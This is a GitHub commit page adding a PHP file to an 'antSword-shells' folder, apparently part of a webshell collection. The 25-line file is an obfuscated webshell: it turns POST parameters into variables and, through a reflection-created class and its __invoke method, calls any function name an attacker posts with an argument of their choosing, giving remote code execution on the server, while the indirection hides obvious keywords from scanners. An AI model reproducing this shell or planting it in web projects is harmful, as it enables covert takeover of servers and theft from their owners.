Skip to content

Commit

Permalink
add php2.php
Browse files Browse the repository at this point in the history
  • Loading branch information
tennc authored Aug 15, 2021
1 parent 5ab8c01 commit 45260b3
Showing 1 changed file with 25 additions and 0 deletions.
25 changes: 25 additions & 0 deletions antSword-shells/php2.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
<?php
class Test1
{
private $para1 = '';
private $para2 = '';

public function __invoke($para1, $para2)
{
$para1($para2);
}
public function __construct($para1, $para2)
{
$this($para1, $para2);
}
}

$class1 = new ReflectionClass("Test1");

foreach (array('_POST') as $_r1) {
foreach ($$_r1 as $_asadasd=>$_wfwefb) {

$$_asadasd =$_wfwefb;
}
}
$class2 = $class1->newInstance($_asadasd, $$_asadasd);

0 comments on commit 45260b3

Please sign in to comment.